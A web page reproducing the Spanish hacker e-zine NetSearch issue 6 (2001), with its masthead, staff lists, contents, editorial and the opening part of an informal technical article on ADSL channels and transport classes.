Home E-Zines .Netsearch netsearch 06

Ultimos Mensajes del Foro

Manual Aleatorio

borrado seguro de ficheros en distintos sistemas

En este articulo voy a explicar el borrado de datos de forma segura desde diversas plataformas. Es importante tener conocimiento de esto ya que nos puede salvar de algun contratiempo no deseado.

Existen varias formas para borrar un fichero de manera que no se pueda recuperar, y no es borrandolo de tu papelera de reciclaje.

Leer más...
netsearch 06 PDF Imprimir E-mail
Miércoles, 01 de Octubre de 2003 23:09
Todo (o casi todo) sobre ADSL,Lenguaje C I,Bugs de Formato I,Redes Privadas Virtuales,Micro Motorola MC68000,Overflows Alfanumericos,Intro. a Circuitos Digitales,Introduccion a Linux,Curso de Virii,Balanceo de carga entre SMTP's,Introduccion a JunOS,Seguridad en la WWW

Texto Completo:
       #######           ##  #######   [The NetSearch E-Zine #6]  ##
      ########          ##  ###                                   ###
      #### ##  ###### ##### #######  ######  ###### ##### ######  #######
     ####  ## ###  ##  ##    ###### ###  ## ###  ## ####  ##      ###  ##
     ###  ##  ####### ##        ### ####### ##   ## ##    ##      ###   ##
    ####  ## ##       ##       ### ##       ##   ## ##    ###     ###   ##
    #### ##  ####### ###### #####  ######   ######## ##   ####### ###   ##



                
                             -  Segunda Epoca  -
           +----------------------------------------------------+
           |    The NetSearch E-Zine - Numero VI - Volumen II   |
           |                     02/07/2001                     |
           +----------------------------------------------------+

                   - [ http://www.netsearch-ezine.com ] -
 


         "No importa lo rapido que gires la cabeza, nunca podras ver
          lo que sucede a tu alrededor..."
                                              -- Greg Egan
  


x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x

+----------------------------------------------------------------------------+
|                                                                            |
| NOTA: Ninguno de los autores que han colaborado en este numero se hacen    |
|       responsables de los actos que algunas personas puedan cometer una    |
|       una vez hayan leido sus respectivos articulos.                       |
|                                                                            |
+----------------------------------------------------------------------------+

                                   

 + INFORMACION ACERCA DE NETSEARCH


 - WEB OFICIAL:

                http://www.netsearch-ezine.com
                http://netsearch.page.to         -> (redireccionador)             
        
 - CANAL DE IRC:

                #netsearch , en el IRC-Hispano

 - MAILS OFICIALES:

        
        ===========================================================
        ==                                                       == 
        ==      Editor     ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
         ==        
        ==      Webmaster  ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
      ==
        ==      Staff      ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
          ==
        ==                                                       ==
        ===========================================================


 - DISTRIBUIDORES OFICIALES:

                http://www.vanhackez.com
                http://www.zine-store.com.ar
                http://personales.com/espana/lugo/underhack/


 - LLAVE PGP:

<++> llavesPGP/netsearch.asc $c47382c0f38094f037d2ec3326aee840
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.2 (GNU/Linux)
Comment: For info see http://www.gnupg.org

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
=PFmI
-----END PGP PUBLIC KEY BLOCK-----
<-->


 - STAFF:


        ===========================================================
        ==                                                       ==
        ==     Sp4rK      ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
           ==
        ==     |CoDeX|    ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
           ==
        ==     RaiSe      ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
           ==  
        ==     cafo       ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
            ==
        ==     QuasaR     ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
          ==
        ==     PowR       ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
            ==
        ==     Pope       ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
            ==
        ==     MoebiuZ    ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
         ==
        ==     kekabron   ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
        ==
        ==     MegadetH   ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
        ==
        ==     HandeR     ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
          ==
        ==     Chapulino  ->  
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
       ==
        ==                                                       ==
        ===========================================================


 - COLABORADORES EN ESTE NUMERO:
        
        * JohnnyG      -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
  
        * NETb0rg      -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
        * WhEkeP       -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
   
        * TaSeH        -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
        * HuFaKlF      -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
        * Wintermute   -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
        * Memonix      -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
        * Plateado     -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
        * TheGuesT     -    
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 


 - SALUDOS:
   
        * A PaRaNoiK 
        * A todos los e-zines de habla hispana
        * A los colaboradores de este numero
        * A toda la gente del IRC y de la lista de correo
        * A tod@s en general


 - RECOMENDADO EL USO DEL EDIT DE MS-DOS O EL VIM DE LINUX



x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x-x


 + TOC


  +---------------------------------------------------------+---------------+
  |  FILE    |  SIZE  |           TITULO                    |     AUTOR     |
  |==========+========+=====================================+===============|
  | 0x00.txt |  10K   |   Indice                            |   NetSearch   |
  +----------+--------+-------------------------------------+---------------+
  | 0x01.txt |   7K   |   Editorial                         |   Editor      |
  +----------+--------+-------------------------------------+---------------+
  | 0x02.txt |  27K   |   Todo (o casi todo) sobre ADSL     |   MegadetH    |
  +----------+--------+-------------------------------------+---------------+
  | 0x03.txt |  24K   |   Lenguaje C (2/2)                  |   JohnnyG     |
  +----------+--------+-------------------------------------+---------------+
  | 0x04.txt |  27K   |   Bugs de Formato (1/2)             |   RaiSe       |
  +----------+--------+-------------------------------------+---------------+
  | 0x05.txt |   6K   |   NetSearch al habla                |   NetSearch   |
  +----------+--------+-------------------------------------+---------------+
  | 0x06.txt |  35K   |   Redes Privadas Virtuales (VPN)    |   NETb0rg     |
  +----------+--------+-------------------------------------+---------------+
  | 0x07.txt |  38K   |   Micro Motorola MC68000            |   MoebiuZ     |
  +----------+--------+-------------------------------------+---------------+
  | 0x08.txt |  15K   |   En contacto con Wintermute        |   NetSearch   |
  +----------+--------+-------------------------------------+---------------+
  | 0x09.txt |  19K   |   Overflows Alfanumericos           |   RaiSe       |
  +----------+--------+-------------------------------------+---------------+
  | 0x10.txt |  25K   |   Breves de NetSearch               |   Varios      |
  +----------+--------+-------------------------------------+---------------+
  | 0x11.txt |  12K   |   Intro. a Circuitos Digitales      |   WhEkeP      |
  +----------+--------+-------------------------------------+---------------+
  | 0x12.txt |  40K   |   NetSearch Mail/INBOX              |   NetSearch   |
  +----------+--------+-------------------------------------+---------------+
  | 0x13.txt |  15K   |   Introduccion a Linux              |   HuFaKlF     |
  +----------+--------+-------------------------------------+---------------+
  | 0x14.htm |  312K  |   Curso de Virii (Virus Inform.)    |   Wintermute  |
  +----------+--------+-------------------------------------+---------------+
  | 0x15.txt |  13K   |   Balanceo de carga entre SMTP's    |   |CoDeX|     |
  +----------+--------+-------------------------------------+---------------+
  | 0x16.txt |  15K   |   Introduccion a JunOS              |   TaSeH       |
  +----------+--------+-------------------------------------+---------------+
  | 0x17.txt |  49K   |   Seguridad en la WWW               |   Memonix     |
  +----------+--------+-------------------------------------+---------------+
  | 0x18.txt |   1K   |   Despedida                         |   Editor      |
  +----------+--------+-------------------------------------+---------------+ 



                        - [ [ NetSearch Ezine #6 ] ] -


     ==================================================================
     ==  Para extraer los articulos del ezine en archivos separados  ==
     ==  ejecutar "./nextract -s ns006.txt"                          ==
     ==================================================================
        

                   - [ http://www.netsearch-ezine.com ] -





0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x01 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Editorial ]-=============================================================
=-[ por Editor ]-============================================================




Hola a tod@s. Como podeis ver aqui estamos otra vez acompañados de un nuevo
numero de NS [al parecer esas siglas se han convertida en el diminutivo
'oficial' ;D]. Con este hacemos 6 numeros desde aquel Mayo del 99, hay que
ver como pasa el tiempo..

Y la verdad, pensandolo bien, han transcurrido algo mas de dos años y pocas
cosas han cambiado en cuanto a NetSearch. La gente del irc y de la lista de
correo sigue siendo mas o menos la misma, seguimos reuniendonos practicamente 
cada noche para hablar de cualquier cosa, algunos hasta salimos por ahi de 
cachondeillo algun dia que otro. Tengo que reconocer que da gusto estar en un 
'grupo' asi, donde lo que reina es el colegueo y las ganas de aprender, por 
encima de buscar fama o chorradas varias.

Tambien aprovecho desde aqui para despedirme de dos integrantes de NS que han 
decidido marcharse. El primero DarK_FeaR (hola dark XD), que por falta de 
tiempo penso que era mejor estar 'fuera' por un tiempo (como recordareis fue 
el anterior y primer editor durante los tres numeros). A ver si dentro de una 
temporada vuelves pa'dentro otra vez ;). Y el segundo es Doing, que por una 
razon parecida que todos comprendemos (curro), no tiene el tiempo suficiente. 
Tambien desde aqui te deseamos lo mejor ;).

Mas cosillas..

Tambien comentar el gran numero de aportaciones externas que hemos tenido
para este numero. Y es que nos han llegado articulos de todas partes, por
ejemplo de Mexico; un placer saber que por alli tambien nos leen :). Desde
aqui les doy las gracias a tod@s los colaboradores espontaneos que hemos
tenido para esta ocasion. Por cierto que este numero del ezine ha batido el
record en cuanto a tamaño, hemos llegado a los 700 K's, quien lo iba a decir
:).

Otra tema importante es que (como habreis visto nada mas descomprimir el
ezine) el articulo 0x14 viene en forma de directorio y no de archivo txt. La
causa es que dicho articulo consiste en un curso de programacion de virus
informaticos (de una calidad envidiable, todo hay que decirlo), que nos ha
cedido Wintermute para que lo publiquemos en NS. Ante la imposibilidad de
meterlo todo en texto plano (debido a que se acompaña de imagenes), hemos
decidido integrarlo en un directorio aparte. Para leer el curso solo teneis
que apuntar con vuestro navegador html a '0x14/index.htm'. Por cierto que
esta es la primera parte, en el siguiente numero de NS publicaremos la
segunda.. y asi sucesivamente hasta que se termine :).

Cambiando de 'topic'.. esto lo comento a modo de 'anecdota'. Y es que es raro
que nadie nos haya dicho nada por nuestra manera de numerar los articulos.  
Si os habeis fijado usamos numeracion 'hexadecimal', es decir, 0x01, 0x02,
0xn. Lo que pasa que cuando llegamos al 10 en vez de continuar con 0xa que
seria lo logico, seguimos con 0x10, 0x11.. La razon?, no hay ninguna en
especial.. para llevar la contraria supongo }:). Resumiendo, usamos
numeracion decimal pero poniendo un '0x' delante. Mas que nada lo digo para
que nadie se lleve 'sorpresas' de ultima hora ;).

Y bien, ahora que ya esta todo dicho os voy a dejar con una 'sub-editorial'
que escribio QuasaR. Si recordareis una vez comente que la editorial estaba
abierta a cualquier integrante del staff de NS que tuviera algo que decir.  
Pues bien, ha llegado la ocasion.. asi que aqui lo teneis. Yo ya me despido.  
Nos vemos en NS #7 alla por finales de Octubre / principios de Noviembre.

Un saludo a tod@s y feliz verano ;).


El Editor



 -__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__-__


[[ Sub - Editorial by QuasaR ]]



La verdad es que desconocemos cual seran las expectativas de las distintas
publicaciones que podemos encontrar en Internet. En cierto modo, cada vez que
aparece una nueva publicacion digamos que es porque las expectativas de ese
grupo de personas que la forman no se ven acompañadas por las que ahora mismo
en la red podemos encontrar. De ahi que salgan nuevas publicaciones o grupos
con ganas de aportar aire diferente. Logicamente esto cuesta, y por eso
muchas son las que se quedan por el camino, incluso alguna se queda en una
simple idea.

NetSearch aparecio, como cualquier publicacion o grupo que se forma, con unas
ideas y donde cada una de las personas que han colaborado han tenido sus
propias expectativas. Y han creido en todo esto.... y aun siguen creyendo.
Por eso es de agradecerles a todas estas personas de que un numero mas pueda
ser editado.

Y aqui ocurre como con los colores, los hay de todos los tipos y tonos. Hay
publicaciones que buscan el hacerse un hueco en este mundo tan complicado de
las redes a base de un esfuerzo enorme en la traduccion de articulos.... pero
hacerse un hueco para que?, para fantasmear?, te da de comer?. Las hay que se
han popularizado por el tiempo que llevan en marcha... pero nunca segundas
partes fueron buenas....mucho tiempo si, mucho articulo si, pero para que?,
que se demuestra?, no lo se....

NetSearch ya va a editar su numero 6 despues de algun año que otro en la red.
Pero es el nivel de sus articulos lo que caracteriza a NetSearch?, es el
tiempo en la red lo que hace que NetSearch siga? Por dios, claro que no.

NetSearch no es nada de eso, lo mejor de NetSearch es la gente señores. Sois
todos. Da igual que la ezine salga un poco mas floja o un mucho. Da igual si
no cumple con las expectativas del empedernido gooroo amante de la critica
..eso da igual.... NetSearch es ganas de trabajar, es ganas de aprender y
ante todo, es ganas de ser personas. Por supuesto, personas de esas que
tienen los pies en el suelo. Personas con las que se puede hablar de lo que
haga falta. Mil veces lo decimos.... estamos en el irc accesible a todos,
cuando querais....

Y entre muchas de estas personas que han estado siempre apoyando esta el
amigo Paranoik. Una persona que siempre ha creido en todos los proyectos que
se han ido montando y que siempre ha aportado su grano de arena. Y es de muy
agradecer que exista gente como el. Sin embargo ahora tiene que afrontar uno
de los retos mas fuertes de su vida. Una cosa llamada 'destino' ha elegido
para Paranoik que su vida este en peligro. Y ahora mismo ahi lo tenemos,
luchador como siempre lo ha sido, pero esta vez contra la propia muerte. Un
accidente lo ha preferido asi. Pero el es fuerte y desde aqui ademas lo vamos
a apoyar, estamos convencidos de que se va a recuperar.

Y pensando que antes o despues leera estas lineas, su colegas del grupo
Undersec, al que siempre ha pertenecido desde hace mas de 2 años, quieren
decirle que aqui esta su team para lo que necesite.

Y como no, NetSearch, tambien quiere dedicarle todo este ezine a el. Porque
se lo merece.

Paranoik es para ti.....


NetSearch Staff
UNDERSEC Security Team        



0x00

-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_


=-[ 0x02 ]-==================================================================
=-[ NetSearch Ezine #6 ]-====================================================
=-[ Todo (o casi todo) sobre ADSL ]-=========================================
=-[ por MegadetH ]-==========================================================




*0 Prologo

Bueno pues ya estamos aki un numero mas, dando la puta coña xD. Esta vez me
he desviado un poco del tema de la seguridad y me he decantado a escribir
sobre una tecnologia que muchos estais usando ya, aunke solo para acceder
pobremente a Inet, (cutremente, timo rlZ) pero, que bien desarrollada, puede
significar mucho en el campo de redes de datos (telecos suckS). Ademas como
ultimamente me he tirado a las redes xD, pos se nota...

Es una "pekeña" intro, ya que se podria escribir un libro entero. Si alguien
kiere ver las imagenes que acompañan al arti mail me.



*1 xDSL, ¿K coño es esto?

ADSL o asymetric digital subscribe line (linea de abonado digital asimetrica)  
es uno de los miembros de las tecnologias de la familia xDSL, que pueden ser
utilizadas para convertir una linea de acceso en una linea digital de alta
velocidad. Mas adelante veremos como.

Este articulo se centra solo en ADSL aunque se nombran otros miembros de la
familia DSL, cuyas mayores ventajas radican en que pueden ser implementadas
en la mayoria de ocasiones sobre el cableado de cobre ya existente de las
compañias de telefonos. Las tecnologias DSL se puede decir k empezaron hace
mazo de años con la RDSI (si alguien tiene interes en conocer la historia -
funcionamiento de la RDSI mail me o mail al staff) y que la experiencia con
esta, ha servido para el posterior desarrollo de la familia xDSL en si. (por
cierto k la timo continua cobrando un huevo por la RDSI, tecnologia ya vieja
y casi desfasada....).

En xDSL se aplica el termino "asimetrico" cuando hay distintas velocidades en
sentido descendente (downstream) y ascendente (upstream), y "simetrico"
cuando es la misma velocidad. Esto tiene sentido pk muchos servicios, como
podria ser el "video on demand" (aunke el ancho de banda necesario para eso
nu se si la timo sera capaz de lograrlo) o simplemente el acceso a Inet
generan mas trafico en sentido descendente que en sentido ascendente. Asi
ADSL, RADSL, y VDSL son asimetricas, y HDSL, HDSL2 y SDSL son simetricas (ver
Apendice-A tabla de los miembros mas importantes de xDSL). Algunas ventajas
de xDSL son: velocidad, ancho de banda, transporte de celdas ATM y paquetes
IP, implementacion sobre la instalacion de cableado ya existente....



*2 ADSL intro

ADSL vino a resolver algunas limitaciones que tenian otros miembros de la
familia xDSL con los askerosos bucles locales de abonado (sobre todo los de
la timo, donde te puedes encontrar empalmes de trozos de cables asi
retorciendo las puntas, entre otras barbaridades...). Dichos bucles locales
(cableado k va desde la centralita + proxima hasta casa del sufrido abonado)
siempre se han dejado abandonados, a pesar de la digitalizacion de las
centrales y de los troncales con tecnologias de portadora T y E (si alguien
esta interesado en conocer el funcionamiento/historia de las portadoras T y E
mail me o mail al staff) hace ya años (bueno aki no tantos gracias de nuevo a
la eficiencia de nuestra kerida timo).

Asi p.e. HDSL y SDSL no soportan el transporte de señales analogicas, por
tanto no soportaban los telefonos analogicos, k todo dios tiene, hacia falta
un telefono digital o bien un TA (terminal adapter) como en los viejos
tiempos de la RDSI. Tambien se observo que los usuarios requerian por norma
general mas ancho de banda en sentido descendente que en sentido ascendente,
todo esto se resume en ADSL.

Las caracteristicas k distinguen a ADSL de otros DSLs son la inclusion de
unos filtros (tb conocidos como splitters,que son en la mayoria de casos
filtros de paso-bajo) entre el commutador local (centralita -si alguien esta
interesado en conocer el funcionamiento de una cia de telefonos mail me o al
staff-) y los equipos de usuario. Su funcion es separar las señales
analogicas (voz, faxes..) de las digitales (si alguien kiere saber
exactamente como, mail me o al staff) y tambien la de desviar el trafico de
datos hacia un commutador ATM o un router IP, que dirige los datos hacia un
ISP, un SP, intranets, Inet..etc, todo eso sin pasar por los abarrotados
troncales de las compañias telefonicas (esta es otra ventaja), cosa que no
hace la RDSI. La RDSI (valga la redundancia) usa los mismos troncales que la
voz, y por supuesto los modems analogicos tb (si alguien esta interesado en
la commutacion de circuitos que usa la RTC o la de paquetes mail me o al
staff). La maxima velocidad establecida para ADSL es de 8,192 Mbps
(downstream) aunque esto es casi imposible. Ademas p.e. los ISPS no soportan
estas velocidades de los usuarios, asi que estamos en 4/6 Mbps.


- -2-1 Configuracion

Ver Apendice-B : terminologia ADSL

Una configuracion basica podria ser la siguiente:

En la parte del usuario la ATU-R (Adsl Transmission Unit-Remote) hasta el
dispositivo final,que podria ser una Lan Ethernet, ATM o hasta un
decodificador para video digital. En el commutador de la centralita el
servicio de voz se dirige hacia la RTC con ayuda de otro filtro, y las
señales digitales se dirigen hacia un DSLAM (multiplexor DSL) que lleva
incluidos varios ATU-C (Adsl Transmission Unit-CO (central)).

Los servicios podrian ser ofrecidos de la siguiente manera:

Tras pasar por el DSLAM se pueden agrupar los enlaces ADSL hasta llegar a un
DACS (digital cross connect/panel de interconexion digital) llevando este los
datos hacia un sistema de troncales (T-3 o E-3 p.e.) y desde ahi hasta el
ISP, que a traves de sus routers los mandaria hacia Inet, intranets
corporativas, etc. Tambien se podria conectar el DSLAM a un router, a un
router IP o a un commutador ATM (mas sobre redes y enrutado IP o sobre redes
ATM mail me o al staff) situado en la misma centralita si el ISP o SP es el
mismo proveedor de ADSL.

El nodo de acceso DSLAM actualmente en la mayoria de ocasiones solo se dedica
a transportar los bits hacia los servicios por simples circuitos, es decir,
si hay 10 usuarios recibiendo 3 Mbps en downstream y 128Kpbs en upstream,el
enlace hacia el proveedor de servicios (ISP p.e.) debe ser de al menor 30Mbps
en ambos sentidos, aunke en downtream solo haga falta 1,280Mbps. Esto es
debido a la multiplexacion de las portadoras T (y E) (mas sobre la
multiplexacion (TDM,FDM,etc) y/o sobre portadoras T y E mail me o al staff).
Dichas portadoras son los enlaces usados normalmente. Esto se podria evitar
consiguiendo una multiplexacion estadistica en el DSLAM o incorporando
funcionalidad de commutacion de paketes en el mismo DSLAM. El aumento de
prestaciones del DSLAM sera mas normal dentro de poco, pudiendo incorporar
enrutadores IP, commutadores ATM, ofrecer servicios frame-relay, etc.



*3 Transporte y Canales

- -3.1 La transmision

Los productos ADSL han sido desarrollados usando la modulacion CAP y DMT,
(Carrierless Amplitude Phase y Discrete Multi Tone) como codificaciones de
linea. Es decir, a grosso modo es la forma en que se envian los putos bits
(esto, aunke distinto, podria ser equivalente al famoso 4B/5B de Fast
Ethernet por si os suena mas...). Normalmente se usa DMT por su capacidad de
adaptarse a las condiciones de la linea, al ruido y a las diafonias. No entro
a tratar aqui DMT (ni CAP/QAM) pk eso da para otro articulo...

Si se utiliza el mismo par de hilos para una operacion full-duplex,se debe
dividir el rango de frecuencia en 2 bandas: upstream y downstream (FDM,
multiplexacion por division en frecuencias), o usar la cancelacion de eco. La
cancelacion de eco elimina la posibilidad de k la señal en una direccion sea
interpretada como producida en direccion opuesta, y devuelta hacia el origen.
Esto se produce por incompatibilidad de impedancias en el medio de
transporte, y al usar la misma frecuencia se interpreta como una señal
procedente del otro extremo (los canceladores de eco restan la señal enviada
de la recibida). En ADSL se usan de manera conjunta ambos, ya k debido a la
naturaleza asimetrica de esta, los rangos de frecuencias se pueden solapar,
pero no coincidir (mas sobre FDM y cancelacion de eco mail me o al staff).


- -3.2 Sistema ADSL

El sistema ADSL esta basado en tramas, (esto ia os suena mas ein?). El flujo
de bits en el interior de las tramas ADSL se puede dividir en un maximo de 7
canales portadores o bearers. Los canales se dividen en 2 clases; hasta 4
canales downstream independientes k operan en modo unidireccional: AS0 AS1,
AS2 y AS3 (lo de AS nu se k coño sera...), mas 3 canales bidireccionales
(duplex) que pueden funcionar tanto en upstream como en downstream: LS0, LS1
y LS2 (LS pos igual k AS, npi). Hay 4 clases de transporte para los canales
portadores AS, basados en multiplos de 1,536 Mbps(T1). Estos son: 1,536,
3,072, 4,608 y 6,144 Mbps. Y 3 para los basados en multiplos de 2,048(E1):  
2,048, 4,096 y 6,144 Mbps. No se define una velocidad maxima para un canal
portador determinado, aunke el limite viene determinado por la capacidad
total del enlace.


- -3.3 Canales downstream (simplex)

ADSL ha establecido unas velocidades de datos en los subcanales, para las
velocidades de transferencia por defecto de los canales portadores. P.e. la
clase de 6,144 no esta permitida en todas las portadoras AS a la vez (Ver
Apendice-C tablas de restricciones de velocidades). Es obligatorio el soporte
para, al menos, AS0. El numero maximo de subcanales k pueden estar activos y
el numero maximo de canales portadores k pueden ser transportados a la vez en
un sistema ADSL dependen de la clase de transporte, que a su vez depende de
la velocidad alcanzable por el bucle (distancia, ruidos, chapuzas tipo
timo..etc), y de la configuracion de los subcanales k se pueden configurar
para maximizar su numero o la velocidad del canal.


- --3.3.1 Las clases de transporte

Las clases de transporte estan numeradas de la 1 a la 4 (T1) y 2M 1 a 2M 3
(E1). El soporte de las clases 1 y 4 es obligatorio, el soporte de las clases
2 y 3 opcional, el soporte de las clases 2M es opcional tambien.

La clase 1 es obligatoria y es la k se usa en los bucles mas cortos, ofrece
la capacidad downstream mas alta (6,144 Mbps) y se puede conseguir mediante
el uso de 4 canales portadores a velocidades multiplos de 1,536. El soporte
para al menos un subcanal k opere a 6,144 Mbps en AS0 tb es obligatorio.

La clase 1 puede tener las siguientes configuraciones:

1 canal portador de 4,608 Mbps y un canal de 1,536 Mbps
2 canales portadores de 3,072 Mbps
1 canales portadores de 3,072 Mbps y dos de 1,536 Mbps 
4 canales portadores de 1,536 Mbps

La clase 2 es opcional y transporta 4,608 Mbps en downstream, puede estar
compuesta por cualkier combinacion de 1 a 3 canales portadores a velocidades
multiplos de 1,536. Asi mismo puede ofrecer una o todas las velocidades pk
ninguno es obligatorio. AS3 nunca se usa en esta clase.

La clase 2 puede tener las siguientes configuraciones:

1 canal portador de 4,608 Mbps
1 canal portador de 3,072 Mbps y 1 de 1,536 Mbps
3 canales portadores de 1,536 Mbps

La clase de transporte 3 tb es opcional y transporta 3,072 Mbps es
downstream. Esta clase se puede componer de 1 o 2 canales portadores a
velocidades multiplas de 1,536 (como no). Puede ofrecer una o todas las
velocidades, pk ninguna es obligatoria. AS2 y AS3 nunca de usan en esta
clase.

Las configuraciones pueden ser:

1 canal portador de 3,072 Mbps
2 canales portadores de 1,536 Mbps

La clase 4 es obligatoria y usa en los bucles de mayor longitud. Ofrece la
capacidad doswnstream mas baja de todas las clases. Aki solo existe un canal
portador de 1,536 Mbps sobre AS0.

La especificion ADSL tb soporta las redes basadas en la portadora E (a saber,
k me parece k no lo hi dicho: las portadoras T se usan normalmente en EEUU y
las E en el resto del mundo, Europa inclusive..). Esta estructura de clases
se denomina 2M y solo soporta AS0, AS1 y AS2. Las clases de transporte 2M
estan numeradas de la 1 a la 3, la configuracion es similar a la de las
clases de portadora T. Todas las clases 2M son opcionales.

La clase 2M 1 se puede conseguir con la combinacion de 1, 2 o 3 canales
portadores operando a velocidades multiplos de 2,048 Mbps. Todas las
configuraciones de la clase 2M 1 son opcionales y puede tener las
siguientes:

1 canal portador de 6,144 Mbps
